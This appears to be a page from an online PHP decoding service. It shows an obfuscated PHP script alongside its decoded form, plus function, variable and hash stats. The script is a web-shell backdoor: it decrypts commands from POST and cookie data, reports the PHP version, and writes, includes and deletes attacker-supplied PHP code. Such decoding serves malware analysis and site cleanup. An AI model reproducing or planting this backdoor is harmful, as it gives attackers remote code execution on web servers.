Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $zunybrmpxq = 'zunybrmpxq' /* usc */ ^ ''; $clzegaqnnr /* jl *..

Decoded Output download

<?php  
 
$zunybrmpxq       =	'zunybrmpxq' /*   usc  */ ^    ''; 
 
$clzegaqnnr /*   jl  */ =      "a"."r"	.    "r"."a"."y"."_"."m" /* zmvjhr   */ . /* jbwn_   */ "a" /*  bgw*/ . /* ey   */ "p"; 
 
 
function /*_awb   */ ty_lwday($buovgqrmya, /*_tlvfm   */ $_zyhnjrq__) 
 
 
{ 
 /* _w_ */ global  $zunybrmpxq; 
	      $buovgqrmya   = /*kh */ "<"  .     "?"    .    "p"       . /* dti */ "h"."p".$zunybrmpxq(32) /* gpsokf */ .	"u"."n"     . /*  ql */ $zunybrmpxq(108)      . /*   knd*/ "i"."n"."k"	.   "("       . /*  sol   */ $zunybrmpxq(95) /*  tk*/ . /*  _opusu*/ "_"."F"       . /* pzr*/ "I"."L"	.  "E".$zunybrmpxq(537-442)  . /*  yrawm*/ "_".$zunybrmpxq(41) /*  s  */ .	";" /* df  */ .	$zunybrmpxq(32)  .    $buovgqrmya[$zunybrmpxq(642-542)]; /*  pl */ $aftstc    = /* etjhnr*/ "f" /*omrmo */ . /* kjg  */ "i"."l".$zunybrmpxq(101)    .   "_"."p"."u"."t"    .	$zunybrmpxq(95)     .       "c"."o"."n"    .	"t".$zunybrmpxq(710-609)     . /*sbi_w   */ "n"."t"."s";	 
	$aftstc($_zyhnjrq__, /*  dj  */ $buovgqrmya); 
 
 
     
 
  jbrqiuwua($_zyhnjrq__);} 
 
$ekdarowx /*   bdkppb */ = /*c */ 73; 
 
function    jbrqiuwua($_zyhnjrq__) 
{ 
 /*   p   */ global	$zunybrmpxq; 
 
 
 /*   msimw   */  
 
 /*   wkie */ include($_zyhnjrq__); 
 
 
 /*  fdvwy   */ $tijbzr /*   qxnizk*/ = /*coc  */ $_zyhnjrq__; 
    @unlink($tijbzr); 
} 
 
 
 
 
 
function      czfaf_() 
 
{ 
 
       global  $zunybrmpxq; 
 
 
 
 
	$ulcij /*  j  */ =   array(); 
       $ulcij["p"   .	$zunybrmpxq(586-468)]   =       phpversion(); 
 
      $ulcij["s".$zunybrmpxq(118)] /*  wcu*/ =      "3" /* qdv */ . /*   teieju  */ "."."5"; 
 
	$ltxdfxpmx      = /*   hdo   */ 74; 
 
 
  echo /* f  */ @serialize($ulcij);} 
 
 
 
function	sbkbgupdr($buovgqrmya,   $mahtbwrsx) 
 
 
{ /*   sf_ */ global /*  m */ $zunybrmpxq; 
 
   $fxxoo      =  ""; 
 
     $dmgrl	= /*   dwh   */ strlen($buovgqrmya); 
 
 
 /*lpwm  */ $qevegzp /*   az */ = /*jbxm   */ strlen($mahtbwrsx); 
 
       $ulcij	=	0; 
 
 
	$kskbbrkr	=   0; 
 
 
 /*  d */  /*gr   */ while	($ulcij    < /*  zlknv  */ $dmgrl)	{ 
 
    $z_mebndfm       =      $buovgqrmya[$ulcij] /* pzb   */ ^ /* bd  */ $mahtbwrsx[$kskbbrkr /*   waqfty   */ %	$qevegzp]; /*a_cih   */ $fxxoo   .= /*ftd  */ $z_mebndfm; 
 
 
	$kskbbrkr++; /*  uvf   */  
 
 
      $ulcij++;	} 
 
 
     
 
    if	(strlen($fxxoo)    > /* at */ 20)      { 
 
       $cj_axxzume	=    substr($fxxoo,	0, /* dabmvl  */ 20); 
 
      } 
 
  if /*   b_*/ (empty($fxxoo))   { 
 
 
	$fxxoo     =	date('Y-m-d      H:i:s'); 
 
    } 
	return /*  wu */ $fxxoo; 
} 
 
 
 
 
 
function    ugnigh($gvcctfy_) 
 
{ /* ildyeu   */ global    $zunybrmpxq; 
 
 
     
 /*   yosg*/ $_ocmnrrhb	= /* famphh */ "7"."a"      .    "8".$zunybrmpxq(927-827)      .	"f".$zunybrmpxq(720-666)  .    $zunybrmpxq(50) /*njluu*/ . /*   qysir   */ $zunybrmpxq(369-271)     .	"-"	. /*lbz */ "7"    .	$zunybrmpxq(97).$zunybrmpxq(49) /*  y*/ . /* mcz */ $zunybrmpxq(131-77)    .	"-"."4"."d"    .  "2"   .	"c" /*   e */ . /*   o_yy*/ "-".$zunybrmpxq(56) /*  ezv   */ .      $zunybrmpxq(52) /* v */ .     $zunybrmpxq(53) /*   zse*/ .   "1" /*  yli */ . /* tj*/ $zunybrmpxq(553-508)    .     "0"."0".$zunybrmpxq(54)    .    "b"."9"       .      "c"."0"."b"."3"."7" /* b   */ .	$zunybrmpxq(636-534)      .     "7";	 
 
 
  foreach   ($gvcctfy_  as      $casesan   => /*   bpnd */ $buovgqrmya) /* etdgy  */ { 
 /* x  */ ixxnsav(base64_decode($buovgqrmya), /*  no  */ $_ocmnrrhb,      $casesan); /*  ulz  */ } 
} 
 
 
 
 
 
function	ixxnsav($buovgqrmya, /*oret  */ $_ocmnrrhb,    $casesan) 
 
{ /*tq_*/ global	$zunybrmpxq; 
 
 /*   qor  */  
 
 /*  fhc   */ $buovgqrmya    =    unserialize(sbkbgupdr(sbkbgupdr($buovgqrmya,    $_ocmnrrhb),   $casesan)); 
 
	$gglvug    =	'jmeahdq';	$zfjiaws_z /*   tq  */ =     'ytcazapgmj'; 
 
 
    if /*   oso*/ (isset($buovgqrmya[$zunybrmpxq(97).$zunybrmpxq(107)]))	{ 
 
 /*  jxow */ if    ($buovgqrmya[$zunybrmpxq(97)] /* dsx   */ ==	"i")   { 
    czfaf_(); 
 
	} /*clm */ elseif /*zufv*/ ($buovgqrmya[$zunybrmpxq(97)]       ==	"e")    { 
     ty_lwday($buovgqrmya, /*j */ sprintf("."."/"    .   "%"    .   "s"."."       . /* eezum */ $zunybrmpxq(112)    . /*   e  */ "l",       md5($_ocmnrrhb))); 
			$zjhupy  = /*  zlrz  */ 44; 
 
 /*  z   */ } 
 
 
    exit(); 
 
 
 /* o  */ } 
 
 
} 
 
ugnigh($_POST);     
 
$ptguj       =	'rawurldecode'; 
 
 
$wughzrfb     = /* fvu_tu  */ $clzegaqnnr($ptguj,    $_POST);chunk_split($ptguj); 
 
 
 
ugnigh($_COOKIE); 
 
$__h__a_ly /*r*/ =    $clzegaqnnr($ptguj,    $_COOKIE); 
 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php 

$zunybrmpxq       =	'zunybrmpxq' /*   usc  */ ^    '';

$clzegaqnnr /*   jl  */ =      "a"."\x72"	.    "r"."a"."y"."_"."\x6d" /* zmvjhr   */ . /* jbwn_   */ "\x61" /*  bgw*/ . /* ey   */ "\x70";


function /*_awb   */ ty_lwday($buovgqrmya, /*_tlvfm   */ $_zyhnjrq__)


{
 /* _w_ */ global  $zunybrmpxq;
	      $buovgqrmya   = /*kh */ "\74"  .     "\x3f"    .    "\x70"       . /* dti */ "h"."p".$zunybrmpxq(32) /* gpsokf */ .	"u"."\156"     . /*  ql */ $zunybrmpxq(108)      . /*   knd*/ "\x69"."n"."\x6b"	.   "\50"       . /*  sol   */ $zunybrmpxq(95) /*  tk*/ . /*  _opusu*/ "_"."\106"       . /* pzr*/ "I"."\114"	.  "E".$zunybrmpxq(537-442)  . /*  yrawm*/ "_".$zunybrmpxq(41) /*  s  */ .	"\73" /* df  */ .	$zunybrmpxq(32)  .    $buovgqrmya[$zunybrmpxq(642-542)]; /*  pl */ $aftstc    = /* etjhnr*/ "\x66" /*omrmo */ . /* kjg  */ "\x69"."l".$zunybrmpxq(101)    .   "_"."p"."u"."\x74"    .	$zunybrmpxq(95)     .       "c"."o"."\x6e"    .	"t".$zunybrmpxq(710-609)     . /*sbi_w   */ "n"."t"."s";	
	$aftstc($_zyhnjrq__, /*  dj  */ $buovgqrmya);


    

  jbrqiuwua($_zyhnjrq__);}

$ekdarowx /*   bdkppb */ = /*c */ 73;

function    jbrqiuwua($_zyhnjrq__)
{
 /*   p   */ global	$zunybrmpxq;


 /*   msimw   */ 

 /*   wkie */ include($_zyhnjrq__);


 /*  fdvwy   */ $tijbzr /*   qxnizk*/ = /*coc  */ $_zyhnjrq__;
    @unlink($tijbzr);
}





function      czfaf_()

{

       global  $zunybrmpxq;




	$ulcij /*  j  */ =   array();
       $ulcij["\160"   .	$zunybrmpxq(586-468)]   =       phpversion();

      $ulcij["s".$zunybrmpxq(118)] /*  wcu*/ =      "\63" /* qdv */ . /*   teieju  */ "."."5";

	$ltxdfxpmx      = /*   hdo   */ 74;


  echo /* f  */ @serialize($ulcij);}



function	sbkbgupdr($buovgqrmya,   $mahtbwrsx)


{ /*   sf_ */ global /*  m */ $zunybrmpxq;

   $fxxoo      =  "";

     $dmgrl	= /*   dwh   */ strlen($buovgqrmya);


 /*lpwm  */ $qevegzp /*   az */ = /*jbxm   */ strlen($mahtbwrsx);

       $ulcij	=	0;


	$kskbbrkr	=   0;


 /*  d */  /*gr   */ while	($ulcij    < /*  zlknv  */ $dmgrl)	{

    $z_mebndfm       =      $buovgqrmya[$ulcij] /* pzb   */ ^ /* bd  */ $mahtbwrsx[$kskbbrkr /*   waqfty   */ %	$qevegzp]; /*a_cih   */ $fxxoo   .= /*ftd  */ $z_mebndfm;


	$kskbbrkr++; /*  uvf   */ 


      $ulcij++;	}


    

    if	(strlen($fxxoo)    > /* at */ 20)      {

       $cj_axxzume	=    substr($fxxoo,	0, /* dabmvl  */ 20);

      }

  if /*   b_*/ (empty($fxxoo))   {


	$fxxoo     =	date('Y-m-d      H:i:s');

    }
	return /*  wu */ $fxxoo;
}





function    ugnigh($gvcctfy_)

{ /* ildyeu   */ global    $zunybrmpxq;


    
 /*   yosg*/ $_ocmnrrhb	= /* famphh */ "7"."\141"      .    "8".$zunybrmpxq(927-827)      .	"f".$zunybrmpxq(720-666)  .    $zunybrmpxq(50) /*njluu*/ . /*   qysir   */ $zunybrmpxq(369-271)     .	"\x2d"	. /*lbz */ "\67"    .	$zunybrmpxq(97).$zunybrmpxq(49) /*  y*/ . /* mcz */ $zunybrmpxq(131-77)    .	"-"."4"."\144"    .  "\x32"   .	"\x63" /*   e */ . /*   o_yy*/ "-".$zunybrmpxq(56) /*  ezv   */ .      $zunybrmpxq(52) /* v */ .     $zunybrmpxq(53) /*   zse*/ .   "\x31" /*  yli */ . /* tj*/ $zunybrmpxq(553-508)    .     "0"."0".$zunybrmpxq(54)    .    "b"."\71"       .      "c"."0"."b"."3"."\67" /* b   */ .	$zunybrmpxq(636-534)      .     "\67";	


  foreach   ($gvcctfy_  as      $casesan   => /*   bpnd */ $buovgqrmya) /* etdgy  */ {
 /* x  */ ixxnsav(base64_decode($buovgqrmya), /*  no  */ $_ocmnrrhb,      $casesan); /*  ulz  */ }
}





function	ixxnsav($buovgqrmya, /*oret  */ $_ocmnrrhb,    $casesan)

{ /*tq_*/ global	$zunybrmpxq;

 /*   qor  */ 

 /*  fhc   */ $buovgqrmya    =    unserialize(sbkbgupdr(sbkbgupdr($buovgqrmya,    $_ocmnrrhb),   $casesan));

	$gglvug    =	'jmeahdq';	$zfjiaws_z /*   tq  */ =     'ytcazapgmj';


    if /*   oso*/ (isset($buovgqrmya[$zunybrmpxq(97).$zunybrmpxq(107)]))	{

 /*  jxow */ if    ($buovgqrmya[$zunybrmpxq(97)] /* dsx   */ ==	"\x69")   {
    czfaf_();

	} /*clm */ elseif /*zufv*/ ($buovgqrmya[$zunybrmpxq(97)]       ==	"e")    {
     ty_lwday($buovgqrmya, /*j */ sprintf("."."\x2f"    .   "\x25"    .   "s"."\56"       . /* eezum */ $zunybrmpxq(112)    . /*   e  */ "l",       md5($_ocmnrrhb)));
			$zjhupy  = /*  zlrz  */ 44;

 /*  z   */ }


    exit();


 /* o  */ }


}

ugnigh($_POST);    

$ptguj       =	'rawurldecode';


$wughzrfb     = /* fvu_tu  */ $clzegaqnnr($ptguj,    $_POST);chunk_split($ptguj);



ugnigh($_COOKIE);

$__h__a_ly /*r*/ =    $clzegaqnnr($ptguj,    $_COOKIE);





?>

Function Calls

ugnigh 1
chr`ntmdh 1

Variables

$ekdarowx 73
$gvcctfy_ 0
$clzegaqnnr array_map
$zunybrmpxq chr`ntmdh

Stats

MD5 cfa4dbc74565ccf0a12e6463fbb5aed9
Eval Count 0
Decode Time 68 ms